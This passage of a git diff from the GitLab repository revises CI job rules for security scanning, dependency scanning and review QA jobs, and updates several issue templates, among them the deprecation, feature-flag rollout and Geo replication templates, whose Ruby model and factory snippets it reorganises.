@@ -1005,7 +1039,6 @@
rules:
- if: '$CODE_QUALITY_DISABLED'
when: never
- # - <<: *if-default-branch-refs # To be done in a later iteration: https://gitlab.com/gitlab-org/gitlab/issues/31160#note_278188255
- <<: *if-default-refs
changes: *code-backstage-patterns
allow_failure: true
@@ -1014,7 +1047,6 @@
rules:
- if: '$SAST_DISABLED || $GITLAB_FEATURES !~ /\bsast\b/'
when: never
- # - <<: *if-default-branch-refs # To be done in a later iteration: https://gitlab.com/gitlab-org/gitlab/issues/31160#note_278188255
- <<: *if-default-refs
changes: *code-backstage-qa-patterns
allow_failure: true
@@ -1025,17 +1057,39 @@
when: never
- if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH' # The Secret-Detection template already has a `secret_detection_default_branch` job
when: never
- # - <<: *if-default-branch-refs # To be done in a later iteration: https://gitlab.com/gitlab-org/gitlab/issues/31160#note_278188255
- changes: *code-backstage-qa-patterns
allow_failure: true
-.reports:rules:dependency_scanning:
+.reports:rules:gemnasium-dependency_scanning:
rules:
- - if: '$DEPENDENCY_SCANNING_DISABLED || $GITLAB_FEATURES !~ /\bdependency_scanning\b/'
+ - if: '$DEPENDENCY_SCANNING_DISABLED || $GITLAB_FEATURES !~ /\bdependency_scanning\b/ || $DS_EXCLUDED_ANALYZERS =~ /gemnasium([^-]|$)/'
when: never
- # - <<: *if-default-branch-refs # To be done in a later iteration: https://gitlab.com/gitlab-org/gitlab/issues/31160#note_278188255
- <<: *if-default-refs
- changes: *code-backstage-qa-patterns
+ changes: *dependency-patterns
+ allow_failure: true
+
+.reports:rules:bundler-audit-dependency_scanning:
+ rules:
+ - if: '$DEPENDENCY_SCANNING_DISABLED || $GITLAB_FEATURES !~ /\bdependency_scanning\b/ || $DS_EXCLUDED_ANALYZERS =~ /bundler-audit/'
+ when: never
+ - <<: *if-default-refs
+ changes: *bundler-patterns
+ allow_failure: true
+
+.reports:rules:retire-js-dependency_scanning:
+ rules:
+ - if: '$DEPENDENCY_SCANNING_DISABLED || $GITLAB_FEATURES !~ /\bdependency_scanning\b/ || $DS_EXCLUDED_ANALYZERS =~ /retire.js/'
+ when: never
+ - <<: *if-default-refs
+ changes: *nodejs-patterns
+ allow_failure: true
+
+.reports:rules:gemnasium-python-dependency_scanning:
+ rules:
+ - if: '$DEPENDENCY_SCANNING_DISABLED || $GITLAB_FEATURES !~ /\bdependency_scanning\b/ || $DS_EXCLUDED_ANALYZERS =~ /gemnasium-python/'
+ when: never
+ - <<: *if-default-refs
+ changes: *python-patterns
allow_failure: true
.reports:rules:dast:
@@ -1057,12 +1111,22 @@
- <<: *if-default-branch-schedule-nightly
allow_failure: true
-.reports:rules:package_hunter:
+.reports:rules:package_hunter-yarn:
rules:
+ - if: "$PACKAGE_HUNTER_USER == null || $PACKAGE_HUNTER_USER == ''"
+ when: never
- <<: *if-default-branch-schedule-2-hourly
- <<: *if-merge-request
changes: ["yarn.lock"]
+.reports:rules:package_hunter-bundler:
+ rules:
+ - if: "$PACKAGE_HUNTER_USER == null || $PACKAGE_HUNTER_USER == ''"
+ when: never
+ - <<: *if-default-branch-schedule-2-hourly
+ - <<: *if-merge-request
+ changes: ["Gemfile.lock"]
+
.reports:rules:license_scanning:
rules:
- if: '$LICENSE_SCANNING_DISABLED || $GITLAB_FEATURES !~ /\blicense_scanning\b/'
@@ -1126,7 +1190,7 @@
- <<: *if-dot-com-gitlab-org-schedule
allow_failure: true
-.review:rules:review-stop-failed-deployment:
+.review:rules:review-delete-deployment:
rules:
- <<: *if-not-ee
when: never
@@ -1146,19 +1210,31 @@
changes: *code-qa-patterns
allow_failure: true
+# The rule needs to be duplicated between `on_success` and `on_failure`
+# because the jobs `needs` the previous job to complete.
+# See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63844#note_599012559
.review:rules:review-qa-smoke-report:
rules:
- <<: *if-not-ee
when: never
- <<: *if-dot-com-gitlab-org-merge-request
changes: *ci-review-patterns
- when: always
+ when: on_success
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *ci-review-patterns
+ when: on_failure
- <<: *if-dot-com-gitlab-org-merge-request
changes: *frontend-patterns
- when: always
+ when: on_success
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *frontend-patterns
+ when: on_failure
- <<: *if-dot-com-gitlab-org-merge-request
changes: *code-qa-patterns
- when: always
+ when: on_success
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *code-qa-patterns
+ when: on_failure
.review:rules:review-qa-all:
rules:
@@ -1172,6 +1248,9 @@
changes: *qa-patterns
allow_failure: true
+# The rule needs to be duplicated between `on_success` and `on_failure`
+# because the jobs `needs` the previous job to complete.
+# See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63844#note_599012559
.review:rules:review-qa-all-report:
rules:
- <<: *if-not-ee
@@ -1183,7 +1262,11 @@
- <<: *if-dot-com-gitlab-org-merge-request
changes: *qa-patterns
allow_failure: true
- when: always
+ when: on_success
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *qa-patterns
+ allow_failure: true
+ when: on_failure
.review:rules:review-cleanup:
rules:
@@ -1211,6 +1294,11 @@
rules:
- if: '$CI_MERGE_REQUEST_IID'
+.review:rules:danger-local:
+ rules:
+ - if: '$CI_MERGE_REQUEST_IID'
+ changes: *code-backstage-danger-patterns
+
###############
# Setup rules #
###############
diff --git a/.gitlab/ci/setup.gitlab-ci.yml b/.gitlab/ci/setup.gitlab-ci.yml
index 27b68115edc..f2d5d872d64 100644
--- a/.gitlab/ci/setup.gitlab-ci.yml
+++ b/.gitlab/ci/setup.gitlab-ci.yml
@@ -52,7 +52,7 @@ no_ee_check:
verify-tests-yml:
extends:
- .setup:rules:verify-tests-yml
- image: ${GITLAB_DEPENDENCY_PROXY}ruby:2.7-alpine
+ image: ${GITLAB_DEPENDENCY_PROXY}ruby:2.7-alpine3.13
stage: test
needs: []
script:
diff --git a/.gitlab/issue_templates/Deprecations.md b/.gitlab/issue_templates/Deprecations.md
new file mode 100644
index 00000000000..ff51699c6be
--- /dev/null
+++ b/.gitlab/issue_templates/Deprecations.md
@@ -0,0 +1,50 @@
+<!-- Use this template as a starting point for deprecations. -->
+
+### Deprecation Summary
+
+<!--
+This should contain a brief description of the feature or functionality that is deprecated. The description should clearly state the potential impact of the deprecation to end users.
+
+It is recommended that you link to the documentation.
+
+The description of the deprecation should state what actions the user should take to rectify the behavior. If the deprecation is scheduled for an upcoming release, the content should remain in the deprecations documentation page until it has been completed. For example, if a deprecation is announced in 14.9 and scheduled to be completed in 15.0, the same content would be included in the documentation for 14.9, 14.10, and 15.0.
+-->
+
+### Breaking Change
+
+<!-- Is this a breaking change or not? If so, please add instructions for how users can update their workflow. -->
+### Affected Topology
+
+<!--
+Who is affected by this deprecation, Self-managed users, SaaS users, or both? This is especially important when nearing the annual major release where breaking changes and removals are typically introduced. These changes might be seen on GitLab.com before the official release date.
+-->
+
+### Affected Tier
+
+<!--
+Which tier is this feature available in?
+
+* Free
+* Premium
+* Ultimate
+-->
+
+### Checklist
+
+- [ ] @mention your stage's stable counterparts on this issue. For example, Customer Support, Customer Success (Technical Account Manager), Product Marketing Manager.
+ - To see who the stable counterparts are for a product team visit [product categories](https://about.gitlab.com/handbook/product/categories/)
+ - If there is no stable counterpart listed for Sales/CS please mention `@timtams`
+ - If there is no stable counterpart listed for Support please @mention `@gitlab-com/support/managers`
+ - If there is no stable counterpart listed for Marketing please mention `@williamchia`
+
+- [ ] @mention your GPM so that they are aware of planned deprecations. The goal is to have reviews happen at least two releases before the final removal of the feature or introduction of a breaking change.
+
+### Deprecation Milestone
+
+<!-- In which milestone will this deprecation happen? -->
+
+### Links
+
+<!--
+Add links to any relevant documentation or code that will provide additional details or clarity regarding the planned change. Also, include a link to the removal issue if relevant.
+-->
diff --git a/.gitlab/issue_templates/Design Sprint.md b/.gitlab/issue_templates/Design Sprint.md
index 787c4469b88..06ef7dc9abc 100644
--- a/.gitlab/issue_templates/Design Sprint.md
+++ b/.gitlab/issue_templates/Design Sprint.md
@@ -98,6 +98,7 @@ If you enjoy taking notes using post-it notes make sure you have available some
- [ ] Finalise participant list - `decider` and `facilitator`
- [ ] Create [participation form](https://docs.google.com/forms/d/e/1FAIpQLSc0_BNltvRW8yXXaJd8sIKzgDmrSGqILMfkoCJrAj6sFcsMcg/viewform?usp=sf_link) and send to participants (**deadline**: [date]) - `facilitator`
+- [ ] Create a dedicated Slack channel and add participants - `facilitator`
- [ ] Promote this issue to an epic - `facilitator`
- [ ] Create issues under the epic for the pre-workshop tasks: Expert interviews ([example](https://gitlab.com/groups/gitlab-org/configure/-/epics/3#note_332412524)), Lightning walkthroughs and How might we.. notetaking assignment ([example](https://gitlab.com/gitlab-org/configure/general/-/issues/52)), Voting How might we... notes assignment ([example](https://gitlab.com/gitlab-org/configure/general/-/issues/54)) - `facilitator`
- [ ] Create sync meetings in calendar and invite all participants (**deadline**: [date]) - `decider` or `facilitator`
diff --git a/.gitlab/issue_templates/Feature Flag Roll Out.md b/.gitlab/issue_templates/Feature Flag Roll Out.md
index 424b752d1b4..ec6e5dfd7d4 100644
--- a/.gitlab/issue_templates/Feature Flag Roll Out.md
+++ b/.gitlab/issue_templates/Feature Flag Roll Out.md
@@ -78,6 +78,7 @@ Are there any other stages or teams involved that need to be kept in the loop?
If a different developer will be covering, or an exception is needed, please inform the oncall SRE by using the `@sre-oncall` Slack alias.
- [ ] Ensure that documentation has been updated ([More info](https://docs.gitlab.com/ee/development/documentation/feature_flags.html#features-that-became-enabled-by-default)).
- [ ] Announce on [the feature issue](ISSUE LINK) an estimated time this will be enabled on GitLab.com.
+- [ ] If the feature might impact the user experience, notify `#support_gitlab-com` and your team channel ([more guidance when this is necessary in the dev docs](https://docs.gitlab.com/ee/development/feature_flags/controls.html#communicate-the-change)).
- [ ] If the feature flag in code has [an actor](https://docs.gitlab.com/ee/development/feature_flags/#feature-actors), enable it on GitLab.com for [testing groups/projects](#testing-groupsprojectsusers).
- [ ] `/chatops run feature set --<actor-type>=<actor> <feature-flag-name> true`
- [ ] Verify that the feature works as expected. Posting the QA result in this issue is preferable.
@@ -92,8 +93,6 @@ Are there any other stages or teams involved that need to be kept in the loop?
- Enable the feature globally on production environment.
- [ ] `/chatops run feature set <feature-flag-name> true`
- [ ] Announce on [the feature issue](ISSUE LINK) that the feature has been globally enabled.
-- [ ] Cross-post chatops slack command to `#support_gitlab-com`.
- ([more guidance when this is necessary in the dev docs](https://docs.gitlab.com/ee/development/feature_flags/controls.html#communicate-the-change)) and in your team channel
- [ ] Wait for [at least one day for the verification term](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#including-a-feature-behind-feature-flag-in-the-final-release).
### (Optional) Release the feature with the feature flag
@@ -105,10 +104,10 @@ To do so, follow these steps:
- [ ] Create a merge request with the following changes. Ask for review and merge it.
- [ ] Set the `default_enabled` attribute in [the feature flag definition](https://docs.gitlab.com/ee/development/feature_flags/#feature-flag-definition-and-validation) to `true`.
- [ ] Create [a changelog entry](https://docs.gitlab.com/ee/development/feature_flags/#changelog).
-- [ ] Ensure that the above MR has been deployed to both production and canary.
+- [ ] Ensure that the default-enabling MR has been deployed to both production and canary.
If the merge request was deployed before [the code cutoff](https://about.gitlab.com/handbook/engineering/releases/#self-managed-releases-1),
the feature can be officially announced in a release blog post.
- - [ ] `/chatops run auto_deploy status <merge-commit>`
+ - [ ] `/chatops run auto_deploy status <merge-commit-of-default-enabling-mr>`
- [ ] Close [the feature issue](ISSUE LINK) to indicate the feature will be released in the current milestone.
- [ ] Set the next milestone to this rollout issue for scheduling [the flag removal](#release-the-feature).
- [ ] (Optional) You can create a separate issue for scheduling the steps below to [Release the feature](#release-the-feature).
@@ -136,10 +135,10 @@ codebase.
- [ ] Remove all references to the feature flag from the codebase.
- [ ] Remove the YAML definitions for the feature from the repository.
- [ ] Create [a changelog entry](https://docs.gitlab.com/ee/development/feature_flags/#changelog).
-- [ ] Ensure that the above MR has been deployed to both production and canary.
+- [ ] Ensure that the cleanup MR has been deployed to both production and canary.
If the merge request was deployed before [the code cutoff](https://about.gitlab.com/handbook/engineering/releases/#self-managed-releases-1),
the feature can be officially announced in a release blog post.
- - [ ] `/chatops run auto_deploy status <merge-commit>`
+ - [ ] `/chatops run auto_deploy status <merge-commit-of-cleanup-mr>`
- [ ] Close [the feature issue](ISSUE LINK) to indicate the feature will be released in the current milestone.
- [ ] Clean up the feature flag from all environments by running these chatops command in `#production` channel:
- [ ] `/chatops run feature delete <feature-flag-name> --dev`
diff --git a/.gitlab/issue_templates/Feature Proposal - basic.md b/.gitlab/issue_templates/Feature Proposal - basic.md
index 099243c05ca..0c05b7a0165 100644
--- a/.gitlab/issue_templates/Feature Proposal - basic.md
+++ b/.gitlab/issue_templates/Feature Proposal - basic.md
@@ -5,7 +5,6 @@
<!-- Use this section to explain the feature and how it will work. It can be helpful to add technical details, design proposals, and links to related epics or issues. -->
<!-- Consider adding related issues and epics to this issue. You can also reference the Feature Proposal Template (https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Feature%20proposal%20-%20detailed.md) for additional details to consider adding to this issue. Additionally, as a data oriented organization, when your feature exits planning breakdown, consider adding the `What does success look like, and how can we measure that?` section.
-
-/label ~"group::" ~"section::" ~"Category::" ~"GitLab Core"/~"GitLab Premium"/~"GitLab Ultimate"
-
-->
+
+/label ~feature::addition ~"group::" ~"section::" ~"Category:" ~"GitLab Core"/~"GitLab Premium"/~"GitLab Ultimate"
diff --git a/.gitlab/issue_templates/Geo Replicate a new Git repository type.md b/.gitlab/issue_templates/Geo Replicate a new Git repository type.md
index be6fef40f3a..560b1722348 100644
--- a/.gitlab/issue_templates/Geo Replicate a new Git repository type.md
+++ b/.gitlab/issue_templates/Geo Replicate a new Git repository type.md
@@ -1,6 +1,6 @@
<!--
-This template is based on a model named `CoolWidget`.
+This template is based on a model named `CoolWidget`.
To adapt this template, find and replace the following tokens:
@@ -34,6 +34,9 @@ There are three main sections below. It is a good idea to structure your merge r
It is also a good idea to first open a proof-of-concept merge request. It can be helpful for working out kinks and getting initial support and feedback from the Geo team. As an example, see the [Proof of Concept to replicate Pipeline Artifacts](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56423).
+You can look into the following example for implementing replication/verification for a new Git repository type:
+- [Add snippet repository verification](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56596)
+
### Modify database schemas to prepare to add Geo support for Cool Widgets
You might do this section in its own merge request, but it is not required.
@@ -342,39 +345,6 @@ That's all of the required database changes.
- [ ] Implement `CoolWidget.replicables_for_current_secondary` above.
- [ ] Ensure `CoolWidget.replicables_for_current_secondary` is well-tested. Search the codebase for `replicables_for_current_secondary` to find examples of parameterized table specs. You may need to add more `FactoryBot` traits.
-- [ ] If you are using a separate table `cool_widget_states` to track verification state on the Geo primary site, then:
- - [ ] Do not include `::Gitlab::Geo::VerificationState` on the `CoolWidget` class.
- - [ ] Add the following lines to the `cool_widget_state.rb` model:
-
- ```ruby
- class CoolWidgetState < ApplicationRecord
- ...
- self.primary_key = :cool_widget_id
-
- include ::Gitlab::Geo::VerificationState
-
- belongs_to :cool_widget, inverse_of: :cool_widget_state
- ...
- end
- ```
-
- - [ ] Add the following lines to the `cool_widget` model:
-
- ```ruby
- class CoolWidget < ApplicationRecord
- ...
- has_one :cool_widget_state, inverse_of: :cool_widget
-
- delegate :verification_retry_at, :verification_retry_at=,
- :verified_at, :verified_at=,
- :verification_checksum, :verification_checksum=,
- :verification_failure, :verification_failure=,
- :verification_retry_count, :verification_retry_count=,
- to: :cool_widget_state
- ...
- end
- ```
-
- [ ] Create `ee/app/replicators/geo/cool_widget_replicator.rb`. Implement the `#repository` method which should return a `<Repository>` instance, and implement the class method `.model` to return the `CoolWidget` class:
```ruby
@@ -383,6 +353,7 @@ That's all of the required database changes.
module Geo
class CoolWidgetReplicator < Gitlab::Geo::Replicator
include ::Geo::RepositoryReplicatorStrategy
+ extend ::Gitlab::Utils::Override
def self.model
::CoolWidget
@@ -493,7 +464,7 @@ That's all of the required database changes.
FactoryBot.define do
factory :geo_cool_widget_registry, class: 'Geo::CoolWidgetRegistry' do
- cool_widget
+ cool_widget # This association should have data, like a file or repository
state { Geo::CoolWidgetRegistry.state_value(:pending) }
trait :synced do
@@ -542,6 +513,119 @@ That's all of the required database changes.
end
```
+- [ ] Add the following to `spec/factories/cool_widgets.rb`:
+
+ ```ruby
+ trait(:verification_succeeded) do
+ with_file
+ verification_checksum { 'abc' }
+ verification_state { CoolWidget.verification_state_value(:verification_succeeded) }
+ end
+
+ trait(:verification_failed) do
+ with_file
+ verification_failure { 'Could not calculate the checksum' }
+ verification_state { CoolWidget.verification_state_value(:verification_failed) }
+ end
+ ```
+
+- [ ] Make sure the factory also allows setting a `project` attribute. If the model does not have a direct relation to a project, you can use a `transient` attribute. Check out `spec/factories/merge_request_diffs.rb` for an example.
+
+##### If you added verification state fields to a separate table (option 2 above), then you need to make additional model and factory changes
+
+If you did not add verification state fields to a separate table, `cool_widget_states`, then skip to [Step 2. Implement metrics gathering](#step-2-implement-metrics-gathering).
+
+Otherwise, you can follow [the example of Merge Request Diffs](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63309).
+
+- [ ] Add a `Geo::CoolWidgetState` model in `ee/app/models/ee/geo/cool_widget_state.rb`:
+
+ ``` ruby
+ module Geo
+ class CoolWidgetState < ApplicationRecord
+ self.primary_key = :cool_widget_id
+
+ belongs_to :cool_widget, inverse_of: :cool_widget_state
+ end
+ end
+ ```
+
+- [ ] Add a `factory` for `cool_widget_state`, in `ee/spec/factories/geo/cool_widget_states.rb`:
+
+ ``` ruby
+ # frozen_string_literal: true
+
+ FactoryBot.define do
+ factory :geo_cool_widget_state, class: 'Geo::CoolWidgetState' do
+ cool_widget
+
+ trait(:checksummed) do
+ verification_checksum { 'abc' }
+ end
+
+ trait(:checksum_failure) do
+ verification_failure { 'Could not calculate the checksum' }
+ end
+ end
+ end
+ ```
+
+- [ ] Add the following lines to the `cool_widget` model to accomplish some important tasks:
+ - Include the `::Gitlab::Geo::VerificationState` concern.
+ - Delegate verification related methods to the `cool_widget_state` model.
+ - Override some scopes to use the `cool_widget_states` table instead of the model table, for verification.
+ - Override some methods to use the `cool_widget_states` table in verification related queries.
+
+ ```ruby
+ class CoolWidget < ApplicationRecord
+ ...
+ include ::Gitlab::Geo::VerificationState
+
+ has_one :cool_widget_state, autosave: true, inverse_of: :cool_widget, class_name: 'Geo::CoolWidgetState'
+
+ delegate :verification_retry_at, :verification_retry_at=,
+ :verified_at, :verified_at=,
+ :verification_checksum, :verification_checksum=,
+ :verification_failure, :verification_failure=,
+ :verification_retry_count, :verification_retry_count=,
+ :verification_state=, :verification_state,
+ :verification_started_at=, :verification_started_at,
+ to: :cool_widget_state
+ ...
+
+ scope :with_verification_state, ->(state) { joins(:cool_widget_state).where(cool_widget_states: { verification_state: verification_state_value(state) }) }
+ scope :checksummed, -> { joins(:cool_widget_state).where.not(cool_widget_states: { verification_checksum: nil } ) }
+ scope :not_checksummed, -> { joins(:cool_widget_state).where(cool_widget_states: { verification_checksum: nil } ) }
+
+ ...
+
+ class_methods do
+ extend ::Gitlab::Utils::Override
+ ...
+ override :verification_state_table_name
+ def verification_state_table_name
+ 'cool_widget_states'
+ end
+
+ override :verification_state_model_key
+ def verification_state_model_key
+ 'cool_widget_id'
+ end
+
+ override :verification_arel_table
+ def verification_arel_table
+ CoolWidgetState.arel_table
+ end
+ end
+ ...
+
+ def cool_widget_state
+ super || build_cool_widget_state
+ end
+
+ ...
+ end
+ ```
+
#### Step 2. Implement metrics gathering
Metrics are gathered by `Geo::MetricsUpdateWorker`, persisted in `GeoNodeStatus` for display in the UI, and sent to Prometheus:
@@ -578,24 +662,6 @@ Metrics are gathered by `Geo::MetricsUpdateWorker`, persisted in `GeoNodeStatus`
Geo::CoolWidgetReplicator | :cool_widget | :geo_cool_widget_registry
```
-- [ ] Add the following to `spec/factories/cool_widgets.rb`:
-
- ```ruby
- trait(:verification_succeeded) do
- with_file
- verification_checksum { 'abc' }
- verification_state { CoolWidget.verification_state_value(:verification_succeeded) }
- end
-
- trait(:verification_failed) do
- with_file
- verification_failure { 'Could not calculate the checksum' }
- verification_state { CoolWidget.verification_state_value(:verification_failed) }
- end
- ```
-
-- [ ] Make sure the factory also allows setting a `project` attribute. If the model does not have a direct relation to a project, you can use a `transient` attribute. Check out `spec/factories/merge_request_diffs.rb` for an example.
-
Cool Widget replication and verification metrics should now be available in the API, the `Admin > Geo > Nodes` view, and Prometheus.
#### Step 3. Implement the GraphQL API
@@ -736,6 +802,8 @@ Individual Cool Widget replication and verification data should now be available
module Geo
class CoolWidgetReplicator < Gitlab::Geo::Replicator
...
+ # REMOVE THIS LINE IF IT IS NO LONGER NEEDED
+ extend ::Gitlab::Utils::Override
# REMOVE THIS METHOD
def self.replication_enabled_by_default?
diff --git a/.gitlab/issue_templates/Geo Replicate a new blob type.md b/.gitlab/issue_templates/Geo Replicate a new blob type.md
index c7bbb6b937c..58b08f490f7 100644
--- a/.gitlab/issue_templates/Geo Replicate a new blob type.md
+++ b/.gitlab/issue_templates/Geo Replicate a new blob type.md
@@ -1,6 +1,6 @@
<!--
-This template is based on a model named `CoolWidget`.
+This template is based on a model named `CoolWidget`.
To adapt this template, find and replace the following tokens:
@@ -34,6 +34,10 @@ There are three main sections below. It is a good idea to structure your merge r
It is also a good idea to first open a proof-of-concept merge request. It can be helpful for working out kinks and getting initial support and feedback from the Geo team. As an example, see the [Proof of Concept to replicate Pipeline Artifacts](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56423).
+You can look into the following examples of MRs for implementing replication/verification for a new blob type:
+- [Add db changes](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60935) and [add verification for MR diffs using SSF](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63309)
+- [Verify Terraform state versions](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58800)
+
### Modify database schemas to prepare to add Geo support for Cool Widgets
You might do this section in its own merge request, but it is not required.
@@ -331,39 +335,6 @@ That's all of the required database changes.
- [ ] Implement `CoolWidget.replicables_for_current_secondary` above.
- [ ] Ensure `CoolWidget.replicables_for_current_secondary` is well-tested. Search the codebase for `replicables_for_current_secondary` to find examples of parameterized table specs. You may need to add more `FactoryBot` traits.
-- [ ] If you are using a separate table `cool_widget_states` to track verification state on the Geo primary site, then:
- - [ ] Do not include `::Gitlab::Geo::VerificationState` on the `CoolWidget` class.
- - [ ] Add the following lines to the `cool_widget_state.rb` model:
-
- ```ruby
- class CoolWidgetState < ApplicationRecord
- ...
- self.primary_key = :cool_widget_id
-
- include ::Gitlab::Geo::VerificationState
-
- belongs_to :cool_widget, inverse_of: :cool_widget_state
- ...
- end
- ```
-
- - [ ] Add the following lines to the `cool_widget` model:
-
- ```ruby
- class CoolWidget < ApplicationRecord
- ...
- has_one :cool_widget_state, inverse_of: :cool_widget
-
- delegate :verification_retry_at, :verification_retry_at=,
- :verified_at, :verified_at=,
- :verification_checksum, :verification_checksum=,
- :verification_failure, :verification_failure=,
- :verification_retry_count, :verification_retry_count=,
- to: :cool_widget_state
- ...
- end
- ```
-
- [ ] Create `ee/app/replicators/geo/cool_widget_replicator.rb`. Implement the `#carrierwave_uploader` method which should return a `CarrierWave::Uploader`, and implement the class method `.model` to return the `CoolWidget` class:
```ruby
@@ -372,6 +343,7 @@ That's all of the required database changes.
module Geo
class CoolWidgetReplicator < Gitlab::Geo::Replicator
include ::Geo::BlobReplicatorStrategy
+ extend ::Gitlab::Utils::Override
def self.model
::CoolWidget
@@ -459,7 +431,7 @@ That's all of the required database changes.
FactoryBot.define do
factory :geo_cool_widget_registry, class: 'Geo::CoolWidgetRegistry' do
- cool_widget
+ cool_widget # This association should have data, like a file or repository
state { Geo::CoolWidgetRegistry.state_value(:pending) }
trait :synced do
@@ -508,6 +480,119 @@ That's all of the required database changes.
end
```
+- [ ] Add the following to `spec/factories/cool_widgets.rb`:
+
+ ```ruby
+ trait(:verification_succeeded) do
+ with_file
+ verification_checksum { 'abc' }
+ verification_state { CoolWidget.verification_state_value(:verification_succeeded) }
+ end
+
+ trait(:verification_failed) do
+ with_file
+ verification_failure { 'Could not calculate the checksum' }
+ verification_state { CoolWidget.verification_state_value(:verification_failed) }
+ end
+ ```
+
+- [ ] Make sure the factory also allows setting a `project` attribute. If the model does not have a direct relation to a project, you can use a `transient` attribute. Check out `spec/factories/merge_request_diffs.rb` for an example.
+
+##### If you added verification state fields to a separate table (option 2 above), then you need to make additional model and factory changes
+
+If you did not add verification state fields to a separate table, `cool_widget_states`, then skip to [Step 2. Implement metrics gathering](#step-2-implement-metrics-gathering).
+
+Otherwise, you can follow [the example of Merge Request Diffs](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63309).
+
+- [ ] Add a `Geo::CoolWidgetState` model in `ee/app/models/ee/geo/cool_widget_state.rb`:
+
+ ``` ruby
+ module Geo
+ class CoolWidgetState < ApplicationRecord
+ self.primary_key = :cool_widget_id
+
+ belongs_to :cool_widget, inverse_of: :cool_widget_state
+ end
+ end
+ ```
+
+- [ ] Add a `factory` for `cool_widget_state`, in `ee/spec/factories/geo/cool_widget_states.rb`:
+
+ ``` ruby
+ # frozen_string_literal: true
+
+ FactoryBot.define do
+ factory :geo_cool_widget_state, class: 'Geo::CoolWidgetState' do
+ cool_widget
+
+ trait(:checksummed) do
+ verification_checksum { 'abc' }
+ end
+
+ trait(:checksum_failure) do
+ verification_failure { 'Could not calculate the checksum' }
+ end
+ end
+ end
+ ```
+
+- [ ] Add the following lines to the `cool_widget` model to accomplish some important tasks:
+ - Include the `::Gitlab::Geo::VerificationState` concern.
+ - Delegate verification related methods to the `cool_widget_state` model.
+ - Override some scopes to use the `cool_widget_states` table instead of the model table, for verification.
+ - Override some methods to use the `cool_widget_states` table in verification related queries.
+
+ ```ruby
+ class CoolWidget < ApplicationRecord
+ ...
+ include ::Gitlab::Geo::VerificationState
+
+ has_one :cool_widget_state, autosave: true, inverse_of: :cool_widget, class_name: 'Geo::CoolWidgetState'
+
+ delegate :verification_retry_at, :verification_retry_at=,
+ :verified_at, :verified_at=,
+ :verification_checksum, :verification_checksum=,
+ :verification_failure, :verification_failure=,
+ :verification_retry_count, :verification_retry_count=,
+ :verification_state=, :verification_state,
+ :verification_started_at=, :verification_started_at,
+ to: :cool_widget_state
+ ...
+
+ scope :with_verification_state, ->(state) { joins(:cool_widget_state).where(cool_widget_states: { verification_state: verification_state_value(state) }) }
+ scope :checksummed, -> { joins(:cool_widget_state).where.not(cool_widget_states: { verification_checksum: nil } ) }
+ scope :not_checksummed, -> { joins(:cool_widget_state).where(cool_widget_states: { verification_checksum: nil } ) }
+
+ ...
+
+ class_methods do
+ extend ::Gitlab::Utils::Override
+ ...
+ override :verification_state_table_name
+ def verification_state_table_name
+ 'cool_widget_states'
+ end
+
+ override :verification_state_model_key
+ def verification_state_model_key
+ 'cool_widget_id'
+ end
+
+ override :verification_arel_table
+ def verification_arel_table
+ CoolWidgetState.arel_table
+ end
+ end
+ ...
+
+ def cool_widget_state
+ super || build_cool_widget_state
+ end
+
+ ...
+ end
+ ```
+
#### Step 2. Implement metrics gathering
Metrics are gathered by `Geo::MetricsUpdateWorker`, persisted in `GeoNodeStatus` for display in the UI, and sent to Prometheus:
@@ -544,24 +629,6 @@ Metrics are gathered by `Geo::MetricsUpdateWorker`, persisted in `GeoNodeStatus`
Geo::CoolWidgetReplicator | :cool_widget | :geo_cool_widget_registry
```
-- [ ] Add the following to `spec/factories/cool_widgets.rb`:
-
- ```ruby
- trait(:verification_succeeded) do
- with_file
- verification_checksum { 'abc' }
- verification_state { CoolWidget.verification_state_value(:verification_succeeded) }
- end
-
- trait(:verification_failed) do
- with_file
- verification_failure { 'Could not calculate the checksum' }
- verification_state { CoolWidget.verification_state_value(:verification_failed) }
- end
- ```
-
-- [ ] Make sure the factory also allows setting a `project` attribute. If the model does not have a direct relation to a project, you can use a `transient` attribute. Check out `spec/factories/merge_request_diffs.rb` for an example.
-
Cool Widget replication and verification metrics should now be available in the API, the `Admin > Geo > Nodes` view, and Prometheus.
#### Step 3. Implement the GraphQL API
@@ -702,7 +769,10 @@ Individual Cool Widget replication and verification data should now be available
module Geo
class CoolWidgetReplicator < Gitlab::Geo::Replicator
...
+ # REMOVE THIS LINE IF IT IS NO LONGER NEEDED
+ extend ::Gitlab::Utils::Override
+ ...
# REMOVE THIS METHOD
def self.replication_enabled_by_default?
false
diff --git a/.gitlab/issue_templates/Security developer workflow.md b/.gitlab/issue_templates/Security developer workflow.md
index 25825fc8888..99149442509 100644
--- a/.gitlab/issue_templates/Security developer workflow.md
+++ b/.gitlab/issue_templates/Security developer workflow.md
@@ -10,10 +10,11 @@ Set the title to: `Description of the original issue`
- [ ] Read the [security process for developers] if you are not familiar with it.
- Verify if the issue you're working on `gitlab-org/gitlab` is confidential, if it's public fix should be placed on GitLab canonical and no backports are required.
-- [ ] Mark this [issue as linked] to the Security Release Tracking Issue. You can find it on the topic of the `#releases` Slack channel.
+- [ ] **IMPORTANT**: Mark this [issue as linked] to the Security Release Tracking Issue. You can find it on the topic of the `#releases` Slack channel. This issue
+MUST be linked for the release bot to know that the associated merge requests should be merged for this security release.
- Fill out the [Links section](#links):
- [ ] Next to **Issue on GitLab**, add a link to the `gitlab-org/gitlab` issue that describes the security vulnerability.
-- [ ] Add one of the `~severity::x` labels to the issue and all associated merge requests.
+- [ ] Add one of the `~severity::x` labels to the issue and all associated merge requests.
## Development
diff --git a/.gitlab/issue_templates/Snowplow event tracking.md b/.gitlab/issue_templates/Snowplow event tracking.md
